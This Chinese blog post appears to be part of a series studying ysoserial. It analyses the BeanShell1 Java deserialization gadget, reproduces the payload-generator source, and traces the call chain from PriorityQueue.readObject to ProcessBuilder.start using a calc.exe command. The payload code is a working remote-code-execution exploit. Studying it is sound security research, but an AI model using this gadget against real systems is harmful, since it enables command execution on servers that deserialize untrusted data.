BeanShell1反序列化|ysoserial学习(五)

BeanShell1反序列化|ysoserial学习(五)

文章导读

今天对yso的分析学习选择了BeanShell1这个链子, 从这条链子可以学到一些关于解释器对象的一些属性特点, 以及Xthis对象能通过handler完全接管namespace和解释器的特点, 快来跟我一起学习吧

BeanShell1-Gadget

/**
 * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
 */

ysoserial源码

@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {

    public PriorityQueue getObject(String command) throws Exception {
    // BeanShell payload

        String payload =
            "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                Strings.join( // does not support spaces in quotes
                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                    ",", "\"", "\"") +
                "}).start();return new Integer(1);}";
//        System.out.println(payload);

    // Create Interpreter
    Interpreter i = new Interpreter();

    // Evaluate payload
    i.eval(payload);

    // Create InvocationHandler
    XThis xt = new XThis(i.getNameSpace(), i);
    InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

    // Create Comparator Proxy
    Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

    // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
    final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
    Object[] queue = new Object[] {1,1};
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);

    return priorityQueue;
    }

    public static void main(final String[] args) throws Exception {
    PayloadRunner.run(BeanShell1.class, args);
    }
}

通过源代码, 可以看到payload的构造主要分为一下几个步骤:

  1. 指定一段compare函数定义的代码字符串:

    compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}
  2. 构造一个新的Interpreter解释器对象, 并对上面的compare函数代码通过eval函数进行动态编译

  3. 构造一个XThis对象xt, 并且指定解释器为上面执行了compare函数编译之后的Interpreter解释器对象, 同时指定命名空间namespace也为该Interpreter解释器对象的namespace

    image-20220912194921812

  4. 构造一个comporator比较器的代理对象, handler指定为上面的xt对象中的invocationHandler对象

  5. comporator代理对象指定到一个优先队列中

  6. 对优先队列完成一些基础填充

  7. 返回最终得到的优先队列payload

java.util.PriorityQueue#readObject

优先队列的作用可以说很明显了, 就是调用里面的comparator.compare方法

调用栈如下:

java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDownUsingComparator

image-20220912145237810

bsh.XThis.Handler#invoke

因为对象中的comparator对象被指定了bsh.XThis.Handler作为代理的handler, 因此转到bsh.XThis.Handler#invoke

bsh.XThis.Handler#invokeImpl

在这个函数中会先检测调用方法的方法名字是否为equalstoString,如果是的话就执行一些操作, 但我们这里的函数是compare, 所以并不会走上面那些逻辑,关键代码直接跳到函数最后

image-20220912151016422

代码先是通过Primitive.wrap(args, paramTypes)检测参数类型和Method方法所需的参数类型是否匹配, 类型不匹配的参数项会将对应的参数置为null

这里并不会有什么影响,因为这里的compare方法设置的两个参数类型均为Object,所以参数保持不变

image-20220912151442880

传入方法名compare和原参数继续进入下一个invokeMethod方法

bsh.This#invokeMethod(java.lang.String, java.lang.Object[])

没其他的,就是直接加了几个参数调用另一个invokeMethod方法

image-20220912151728885

bsh.This#invokeMethod(java.lang.String, java.lang.Object[], bsh.Interpreter, bsh.CallStack, bsh.SimpleNode, boolean)

这里代码就多一点了,但也没有太多东西, 就是从namespace找到函数名参数类型都符合要求的函数方法, 然后使用invoke完成调用

image-20220912153333208

到这里其实链子的跟踪就可以结束了, 也为这个namespace就是我们之前指定的编译了一个重新定义的compare函数的Interpreter解释器的namespace命名空间

因为命名空间中有我们重新定义的compare函数

compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}

因此namespace.getMethod( methodName, types, declaredOnly )从namespace中得到的就是我们新定义的这个compare函数, 之后就对其进行动态调用, 不管参数是什么,都将执行我们写入的命令

但是我们还是继续跟下去看看吧, 顺便了解一些XThis是如何完成namespace命名空间的函数调用的

bsh.BshMethod#invoke(java.lang.Object[], bsh.Interpreter, bsh.CallStack, bsh.SimpleNode)

又是一个调用

image-20220912153600497

bsh.BshMethod#invoke(java.lang.Object[], bsh.Interpreter, bsh.CallStack, bsh.SimpleNode, boolean)

image-20220912154328457

bsh.BshMethod#invokeImpl

函数代码比较长, 所以分两个图解析

image-20220912155430746

image-20220912155843703

bsh.BSHBlock#eval(bsh.CallStack, bsh.Interpreter, boolean)

后面就是通过传入Interpreter解释器对象执行从命名空间匹配到的函数方法

bsh.BSHBlock#evalBlock
bsh.BSHPrimaryExpression#eval(bsh.CallStack, bsh.Interpreter)
bsh.BSHPrimaryExpression#eval(boolean, bsh.CallStack, bsh.Interpreter)
bsh.BSHPrimarySuffix#doSuffix

在上面的一些列调用之后在doSuffix中会取出拿到ProcessBuilder对象,在经过下面的一些列反射调用之后成功执行ProcessBuilder对象的start函数

bsh.BSHPrimarySuffix#doName
bsh.Reflect#invokeObjectMethod
bsh.Reflect#invokeMethod
java.lang.reflect.Method#invoke
sun.reflect.DelegatingMethodAccessorImpl#invoke
sun.reflect.NativeMethodAccessorImpl#invoke
sun.reflect.NativeMethodAccessorImpl#invoke0
java.lang.ProcessBuilder#start

链子特点

  1. 使用优先队列(感觉应该还是又其他的选择的,只要是一个我们可以自定义为代理对象的反序列化属性即可)
  2. Interpreter解释器对象特殊性,可以自己编译代码将函数写入到namespace中
  3. Xthis的特点, 可以指定namespace和Interpreter解释器对象, 只需要使用其invocationHandler就能完全接管了namesapce和解释器的功能
  4. Xthis的invocationHandler属性中的invoke从namespace找符合要求的函数去执行(这一点非常重要)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇